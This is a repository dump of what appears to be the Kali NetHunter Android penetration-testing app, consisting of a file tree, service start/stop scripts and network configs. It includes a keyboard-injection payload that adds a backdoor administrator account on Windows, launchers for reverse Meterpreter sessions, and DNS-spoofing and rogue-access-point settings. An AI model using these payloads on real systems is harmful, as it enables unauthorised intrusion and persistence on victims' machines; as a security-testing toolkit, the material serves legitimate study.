├── .gitattributes ├── assets ├── nh_files │ ├── duckyscripts │ │ ├── clear │ │ ├── helloworld │ │ ├── osx_ruby_reverse_shell │ │ ├── osx_perl_reverse_shell │ │ └── windows_rdp │ ├── configs │ │ ├── dnsspoof.conf │ │ ├── hid-cmd.conf │ │ ├── iptables.conf │ │ ├── dnsmasq.conf │ │ ├── dhcpd.conf │ │ ├── dhcpd-mana.conf │ │ ├── hostapd-karma.conf │ │ ├── rev-tcp │ │ ├── startbadusb-kitkat.sh │ │ ├── startbadusb-lollipop.sh │ │ └── hid-keylog │ ├── deauth │ │ └── scan.sh │ └── modules │ │ ├── duckconvert.txt │ │ └── filetohid.py ├── etc │ └── init.d │ │ ├── 60preservices │ │ ├── 80postservices │ │ └── 50userinit └── scripts │ ├── start_gpsd │ ├── start-web │ ├── stop-hostapd │ ├── start-badusb-kitkat │ ├── check-kalibeef-xss │ ├── start-badusb-lollipop │ ├── check-kalivnc │ ├── check-fruity-wifi │ ├── check-kalidhcp │ ├── check-kalihostapd │ ├── check-kalissh │ ├── check-kalivpn │ ├── check-kaliapache │ ├── check-kalidnsmq │ ├── check-kalimetasploit │ ├── start-hid-cmd │ ├── start-rev-met │ ├── start-ssh │ ├── stop-ssh │ ├── start-dnsmasq │ ├── start-gpsd │ ├── start-vpn │ ├── stop-beef-xss │ ├── stop-openvpn │ ├── stop-vpn │ ├── start-openvpn │ ├── stop-dhcp │ ├── stop-dnsmasq │ ├── bootkali_bash │ ├── start-dhcp │ ├── bootkali_login │ ├── stop-web │ ├── start-hid-cmd-elevated-win7 │ ├── start-hid-cmd-elevated-win8 │ ├── start-iptables │ ├── start-rev-met-elevated-win7 │ ├── start-rev-met-elevated-win8 │ ├── start-hostapd │ ├── start-update │ ├── stop-badusb-kitkat │ ├── start-msf │ ├── stop-msf │ ├── start-beef-xss │ ├── stop-apache │ ├── start-apache │ ├── iptables-flush │ ├── stop-gpsd │ ├── start-wifite │ ├── bootkali_env │ ├── check-ycable │ ├── stop-badusb-lollipop │ ├── killkali │ └── pine-nano ├── settings.gradle ├── ic_launcher-web.png ├── res ├── drawable-hdpi │ ├── ic_usb.png │ ├── ic_launcher.png │ ├── ic_gps_fixed_black_18dp.png │ ├── ic_stat_ic_nh_notificaiton.png │ ├── ic_system_update_black_36dp.png │ └── ic_action_perm_device_information.png ├── drawable-ldpi │ └── ic_usb.png ├── drawable-mdpi │ ├── ic_usb.png │ ├── nh_cropbg.png │ ├── ic_launcher.png │ ├── ic_gps_fixed_black_18dp.png │ ├── offsec_logo_transparent.png │ ├── ic_stat_ic_nh_notificaiton.png │ ├── ic_system_update_black_36dp.png │ ├── ic_action_perm_device_information.png │ └── activated_color.xml ├── drawable-xhdpi │ ├── ic_usb.png │ ├── ic_launcher.png │ ├── ic_gps_fixed_black_18dp.png │ ├── ic_stat_ic_nh_notificaiton.png │ ├── ic_system_update_black_36dp.png │ └── ic_action_perm_device_information.png ├── drawable-xxhdpi │ ├── ic_usb.png │ ├── ic_launcher.png │ ├── ic_gps_fixed_black_18dp.png │ ├── ic_stat_ic_nh_notificaiton.png │ ├── ic_system_update_black_36dp.png │ └── ic_action_perm_device_information.png ├── drawable-xxxhdpi │ ├── ic_usb.png │ ├── ic_gps_fixed_black_18dp.png │ ├── ic_stat_ic_nh_notificaiton.png │ └── ic_action_perm_device_information.png ├── drawable-hdpi-v11 │ └── ic_stat_ic_nh_notificaiton.png ├── drawable-mdpi-v11 │ └── ic_stat_ic_nh_notificaiton.png ├── drawable-xhdpi-v11 │ └── ic_stat_ic_nh_notificaiton.png ├── drawable-xxhdpi-v11 │ └── ic_stat_ic_nh_notificaiton.png ├── drawable-xxxhdpi-v11 │ └── ic_stat_ic_nh_notificaiton.png ├── values │ ├── dimens.xml │ ├── colors.xml │ ├── ids.xml │ └── themes.xml ├── menu │ ├── searchsploit.xml │ ├── kali_services.xml │ ├── macchanger.xml │ ├── deauth.xml │ ├── custom_commands.xml │ ├── mitmf.xml │ ├── duck_hunter.xml │ ├── badusb.xml │ ├── mana.xml │ ├── hid.xml │ └── sidebar.xml ├── drawable │ ├── ic_action_play.xml │ ├── ic_action_home.xml │ ├── ic_memory_24dp.xml │ ├── ic_action_refresh.xml │ ├── ic_action_keyboard.xml │ ├── ic_cast_connected_black_24dp.xml │ ├── ic_action_network_wifi.xml │ ├── ic_share_black_24dp.xml │ ├── ic_bug_report_black_24dp.xml │ ├── ic_action_android.xml │ ├── ic_action_settings_applications.xml │ ├── ic_action_usb.xml │ └── ic_action_information.xml ├── values-w820dp │ └── dimens.xml ├── layout │ ├── nethunter_item.xml │ ├── payload_maker_item.xml │ ├── macchanger_ifaces_item.xml │ ├── mana.xml │ ├── mitmf.xml │ ├── hid.xml │ ├── duck_hunter.xml │ ├── duck_hunter_preview.xml │ ├── kali_services.xml │ ├── source.xml │ ├── source_short.xml │ ├── deauth_whitelist.xml │ ├── base_layout.xml │ ├── badusb.xml │ ├── hid_powershell_http.xml │ ├── gps.xml │ ├── custom_commands.xml │ ├── kali_services_item.xml │ ├── deauth.xml │ ├── hid_windows_cmd.xml │ ├── sidenav_header.xml │ ├── duck_hunter_convert.xml │ ├── createchroot.xml │ ├── hid_powersploit.xml │ ├── mana_hostapd_wpe.xml │ ├── mitmf_responder.xml │ ├── pineapple.xml │ ├── custom_commands_item.xml │ ├── payload_maker.xml │ ├── metapackagechooser.xml │ ├── mana_hostapd.xml │ └── searchsploit.xml └── values-v21 │ └── colors.xml ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── androidwversionmanager ├── src │ └── main │ │ ├── res │ │ ├── values │ │ │ ├── strings.xml │ │ │ └── styles.xml │ │ ├── drawable-hdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-mdpi │ │ │ └── ic_launcher.png │ │ ├── drawable-xhdpi │ │ │ └── ic_launcher.png │ │ ├── values-v11 │ │ │ └── styles.xml │ │ └── values-v14 │ │ │ └── styles.xml │ │ ├── AndroidManifest.xml │ │ └── java │ │ └── com │ │ └── winsontan520 │ │ └── wversionmanager │ │ └── library │ │ ├── OnReceiveListener.java │ │ ├── CustomTagHandler.java │ │ └── IWVersionManager.java ├── build.gradle └── license.txt ├── src └── com │ └── offsec │ └── nethunter │ ├── gps │ ├── KaliGPSUpdates.java │ ├── GpsPosition.java │ ├── GpsdServer.java │ └── NMEA.java │ ├── LauncherButton.java │ ├── receiver │ └── BootCompletedReceiver.java │ ├── LauncherApp.java │ ├── DeAuthWhitelistActivity.java │ ├── CustomCommand.java │ ├── SearchSploit.java │ ├── utils │ ├── CheckForRoot.java │ └── NhPaths.java │ ├── EditSourceActivity.java │ ├── KaliGpsServiceFragment.java │ └── SQLPersistence.java ├── project.properties ├── Android.mk ├── .gitignore ├── proguard-project.txt ├── gradlew.bat ├── README.md └── AndroidManifest.xml /.gitattributes: -------------------------------------------------------------------------------- 1 | * eol=lf 2 | -------------------------------------------------------------------------------- /assets/nh_files/duckyscripts/clear: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /assets/nh_files/configs/dnsspoof.conf: -------------------------------------------------------------------------------- 1 | 10.0.0.1 * -------------------------------------------------------------------------------- /settings.gradle: -------------------------------------------------------------------------------- 1 | include ':androidwversionmanager' 2 | -------------------------------------------------------------------------------- /assets/nh_files/deauth/scan.sh: -------------------------------------------------------------------------------- 1 | iwlist $1 scanning | grep 'Channel\|ESSID' 2 | -------------------------------------------------------------------------------- /assets/etc/init.d/60preservices: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | # this runs before the Kaliservices 4 | -------------------------------------------------------------------------------- /ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/ic_launcher-web.png -------------------------------------------------------------------------------- /assets/etc/init.d/80postservices: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | # this runs after the Kaliservices 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/start_gpsd: -------------------------------------------------------------------------------- 1 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "gpsd -n tcp://127.0.0.1:10110" -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_usb.png -------------------------------------------------------------------------------- /res/drawable-ldpi/ic_usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-ldpi/ic_usb.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_usb.png -------------------------------------------------------------------------------- /res/drawable-mdpi/nh_cropbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/nh_cropbg.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_usb.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_usb.png -------------------------------------------------------------------------------- /res/drawable-xxxhdpi/ic_usb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxxhdpi/ic_usb.png -------------------------------------------------------------------------------- /assets/scripts/start-web: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | /system/xbin/reload_fcgi.sh & 3 | /system/xbin/reload_lighttpd.sh & 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/stop-hostapd: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | killall hostapd 2> /dev/null 3 | killall hostapd 2> /dev/null 4 | 5 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /assets/scripts/start-badusb-kitkat: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | unset LD_PRELOAD 3 | cd /sdcard/nh_files/configs/ && sh startbadusb-kitkat.sh 4 | -------------------------------------------------------------------------------- /assets/nh_files/configs/hid-cmd.conf: -------------------------------------------------------------------------------- 1 | *ipconfig 2 | net user offsec H1dKey80ard! /add 3 | net localgroup administrators offsec /add 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/check-kalibeef-xss: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep ruby|grep 104) ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | -------------------------------------------------------------------------------- /assets/scripts/start-badusb-lollipop: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | unset LD_PRELOAD 3 | cd /sdcard/nh_files/configs/ && sh startbadusb-lollipop.sh 4 | 5 | -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_gps_fixed_black_18dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_gps_fixed_black_18dp.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_gps_fixed_black_18dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_gps_fixed_black_18dp.png -------------------------------------------------------------------------------- /res/drawable-mdpi/offsec_logo_transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/offsec_logo_transparent.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_gps_fixed_black_18dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_gps_fixed_black_18dp.png -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | WVersionManager 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/check-kalivnc: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep 'Xtightvnc') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | 8 | -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_gps_fixed_black_18dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_gps_fixed_black_18dp.png -------------------------------------------------------------------------------- /res/drawable-xxxhdpi/ic_gps_fixed_black_18dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxxhdpi/ic_gps_fixed_black_18dp.png -------------------------------------------------------------------------------- /assets/scripts/check-fruity-wifi: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep /etc/fruitywifi/nginx.conf) ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | -------------------------------------------------------------------------------- /assets/scripts/check-kalidhcp: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep '/usr/sbin/dhcpd') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | 8 | -------------------------------------------------------------------------------- /assets/scripts/check-kalihostapd: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep '/usr/sbin/hostapd') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | -------------------------------------------------------------------------------- /assets/scripts/check-kalissh: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep '/usr/sbin/sshd') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | 8 | -------------------------------------------------------------------------------- /assets/scripts/check-kalivpn: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep '/usr/sbin/openvpn') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | 8 | -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_system_update_black_36dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_system_update_black_36dp.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_system_update_black_36dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_system_update_black_36dp.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_system_update_black_36dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_system_update_black_36dp.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_system_update_black_36dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_system_update_black_36dp.png -------------------------------------------------------------------------------- /res/drawable-xxxhdpi/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxxhdpi/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /assets/scripts/check-kaliapache: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep '/usr/sbin/apache2') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | 8 | -------------------------------------------------------------------------------- /assets/scripts/check-kalidnsmq: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | if [[ -n $(ps |grep '/usr/sbin/dnsmasq') ]]; then 3 | echo "1" 4 | else 5 | echo "0" 6 | fi 7 | 8 | -------------------------------------------------------------------------------- /assets/scripts/check-kalimetasploit: -------------------------------------------------------------------------------- 1 | if [[ -n $(pstree -p |grep -i ruby |grep worker_ctl) ]]; then 2 | echo "1" 3 | else 4 | echo "0" 5 | fi 6 | 7 | 8 | -------------------------------------------------------------------------------- /res/drawable-hdpi-v11/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi-v11/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-mdpi-v11/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi-v11/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-xhdpi-v11/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi-v11/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-hdpi/ic_action_perm_device_information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-hdpi/ic_action_perm_device_information.png -------------------------------------------------------------------------------- /res/drawable-mdpi/ic_action_perm_device_information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-mdpi/ic_action_perm_device_information.png -------------------------------------------------------------------------------- /res/drawable-xhdpi/ic_action_perm_device_information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xhdpi/ic_action_perm_device_information.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi-v11/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi-v11/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-xxxhdpi-v11/ic_stat_ic_nh_notificaiton.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxxhdpi-v11/ic_stat_ic_nh_notificaiton.png -------------------------------------------------------------------------------- /res/drawable-xxhdpi/ic_action_perm_device_information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxhdpi/ic_action_perm_device_information.png -------------------------------------------------------------------------------- /res/drawable-xxxhdpi/ic_action_perm_device_information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/res/drawable-xxxhdpi/ic_action_perm_device_information.png -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/androidwversionmanager/src/main/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/androidwversionmanager/src/main/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /androidwversionmanager/src/main/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atarii/nethunter-app/HEAD/androidwversionmanager/src/main/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /assets/nh_files/modules/duckconvert.txt: -------------------------------------------------------------------------------- 1 | REM This is a comment 2 | STRING Example of typing to computer. Nethunter is awesome! 3 | REM We can type commands also 4 | SPACE 5 | SPACE 6 | ENTER 7 | -------------------------------------------------------------------------------- /assets/scripts/start-hid-cmd: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin chroot /data/local/nhsystem/kali-armhf /usr/bin/hid-cmd.py |/system/bin/sh 3 | 4 | -------------------------------------------------------------------------------- /assets/scripts/start-rev-met: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin chroot /data/local/nhsystem/kali-armhf /usr/bin/rev-met.sh |/system/bin/sh 3 | 4 | -------------------------------------------------------------------------------- /assets/scripts/start-ssh: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/ssh start" 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/stop-ssh: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/ssh stop" 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/start-dnsmasq: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/dnsmasq start" 4 | -------------------------------------------------------------------------------- /assets/scripts/start-gpsd: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/dbus start" 4 | sleep 5 -------------------------------------------------------------------------------- /assets/scripts/start-vpn: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/openvpn start" 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/stop-beef-xss: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/beef-xss stop" 4 | -------------------------------------------------------------------------------- /assets/scripts/stop-openvpn: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/openvpn stop" 4 | -------------------------------------------------------------------------------- /assets/scripts/stop-vpn: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/openvpn stop" 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/start-openvpn: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/openvpn start" 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/stop-dhcp: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/isc-dhcp-server stop" 4 | -------------------------------------------------------------------------------- /assets/scripts/stop-dnsmasq: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/dnsmasq stop" 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/bootkali_bash: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | ######### IMPORT BOOTKALI ENVIRONMENT ######### 4 | SCRIPT_PATH=$(readlink -f $0) 5 | . ${SCRIPT_PATH%/*}/bootkali_env 6 | 7 | $busybox chroot $mnt /bin/bash -i 8 | -------------------------------------------------------------------------------- /assets/scripts/start-dhcp: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 4 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "/etc/init.d/isc-dhcp-server start" 5 | -------------------------------------------------------------------------------- /assets/scripts/bootkali_login: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | ######### IMPORT BOOTKALI ENVIRONMENT ######### 4 | SCRIPT_PATH=$(readlink -f $0) 5 | . ${SCRIPT_PATH%/*}/bootkali_env 6 | 7 | $busybox chroot $mnt /bin/login -f root 8 | -------------------------------------------------------------------------------- /assets/scripts/stop-web: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | kill -9 `ps | $bb grep php | $bb grep -v grep | $bb awk '{print $2}'` 2>/dev/null 3 | kill -9 `ps | $bb grep lighttpd | $bb grep -v grep | $bb awk '{print $2}'` 2>/dev/null 4 | 5 | -------------------------------------------------------------------------------- /assets/scripts/start-hid-cmd-elevated-win7: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin chroot /data/local/nhsystem/kali-armhf /usr/bin/hid-cmd-elevated-win7.py |/system/bin/sh 3 | 4 | -------------------------------------------------------------------------------- /assets/scripts/start-hid-cmd-elevated-win8: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin chroot /data/local/nhsystem/kali-armhf /usr/bin/hid-cmd-elevated-win8.py |/system/bin/sh 3 | 4 | -------------------------------------------------------------------------------- /assets/scripts/start-iptables: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "sh /sdcard/nh_files/iptables.conf" 4 | 5 | 6 | -------------------------------------------------------------------------------- /assets/scripts/start-rev-met-elevated-win7: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin chroot /data/local/nhsystem/kali-armhf /usr/bin/rev-met-elevated-win7.sh |/system/bin/sh 3 | 4 | -------------------------------------------------------------------------------- /assets/scripts/start-rev-met-elevated-win8: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin chroot /data/local/nhsystem/kali-armhf /usr/bin/rev-met-elevated-win8.sh |/system/bin/sh 3 | 4 | -------------------------------------------------------------------------------- /assets/nh_files/configs/iptables.conf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | iptables -t nat -F 3 | iptables -F 4 | iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE 5 | iptables -A FORWARD -i wlan0 -o wlan1 -j ACCEPT 6 | echo '1' > /proc/sys/net/ipv4/ip_forward 7 | 8 | -------------------------------------------------------------------------------- /res/values/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 14dp 6 | 12dp 7 | 8 | 9 | -------------------------------------------------------------------------------- /assets/scripts/start-hostapd: -------------------------------------------------------------------------------- 1 | unset LD_PRELOAD 2 | chroot /data/local/nhsystem/kali-armhf /bin/bash -c "chmod 777 /dev/null" 3 | { chroot /data/local/nhsystem/kali-armhf /usr/sbin/hostapd /etc/hostapd/hostapd.conf >/dev/null 2>&1 /dev/null 4 | echo 0 > /sys/class/android_usb/android0/enable 5 | echo mtp,adb > /sys/class/android_usb/android0/functions 6 | 